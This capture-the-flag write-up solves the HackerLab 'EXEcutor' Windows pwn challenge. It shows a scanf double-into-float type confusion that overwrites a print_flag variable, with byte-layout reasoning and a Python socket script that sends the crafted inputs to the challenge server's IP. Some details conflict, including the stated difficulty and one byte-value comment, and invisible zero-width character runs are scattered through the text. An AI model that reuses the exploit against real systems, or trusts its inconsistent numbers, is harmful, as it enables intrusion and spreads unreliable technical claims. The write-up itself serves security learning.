← Back to Writeups
CUSTOMMediumpwn

EXEcutor - HackerLab PWN

XESXOR9/2/20262 min read
#pwn#custom#medium#na#windows

EXEcutor - HackerLab PWN

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA

Summary

Task: Windows PE32+ calculator with scanf type confusion vulnerability. Solution: Exploit scanf reading 8-byte double into 4-byte float to overflow into print_flag variable, using magic value 1337 and crafted double number.

EXEcutor - HackerLab PWN

Task Information

  • Event: HackerLab
  • Name: EXEcutor
  • Category: PWN
  • Difficulty: easy
  • Points: 200
  • Flag: CODEBY{REDACTED}

Description

Ну наконец-то я скачал винду! И даже калькулятор в ней написал, но он что-то странно работает...

Analysis

Binary

Windows PE32+ x86-64 calculator with operations +, -, *, /, %.

Variable Layout in Memory

0x404024: operator (1 byte)
0x404028: result (8 bytes, double)
0x404030: num2 (4 bytes, float)
0x404034: print_flag (4 bytes, int)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

  1. scanf("%lf", &num2) reads 8 bytes (double) into num2 address
  2. num2 occupies only 4 bytes (float)
  3. The next 4 bytes overwrite print_flag

Flag Output Condition

With operator % and num1 == 1337.0 (magic value "LEET"), if print_flag == 1, the flag is printed.

Exploit

Constructing the Magic Double

We need a number where:

  • First 4 bytes (float) != 0 (to avoid division by zero)
  • Byte 4 == 0x01 (so that print_flag == 1)
python
import struct

# Construct: float(1.0) + bytes([1, 0, 0, 0])
float_bytes = struct.pack('<f', 1.0)  # 0x3f800000
flag_bytes = bytes([1, 0, 0, 0])
combined = float_bytes + flag_bytes
# Result: 0x400000013f800000
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# But we need a normalized number (not subnormal)
# Use: bytes([1, 0, 80, 3f, 1, 0, 0, 40])
target = bytes([0x01, 0x00, 0x80, 0x3f, 0x01, 0x00, 0x00, 0x40])
magic_double = struct.unpack('<d', target)[0]
# = 2.0000023804605011613

Solution

python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('62.173.140.174', 17901))

s.recv(4096)  # Enter operator
s.send(b'%\n')

s.recv(4096)  # Enter first number
s.send(b'1337\n')  # Magic value!

s.recv(4096)  # Enter second number
s.send(b'2.0000023804605011613\n')  # Overflow into print_flag
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(s.recv(4096).decode())
# CODEBY{REDACTED}

Key Points

  1. Type confusion: scanf reads double (8 bytes) into float (4 bytes)
  2. Magic value 1337: Need to know that num1 must be 1337, not 0
  3. Normalized numbers: Subnormal numbers may not parse correctly on Windows
  4. Little-endian: Byte 4 of double goes into the first byte of print_flag

Tags

buffer-overflow type-confusion scanf windows float-double ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍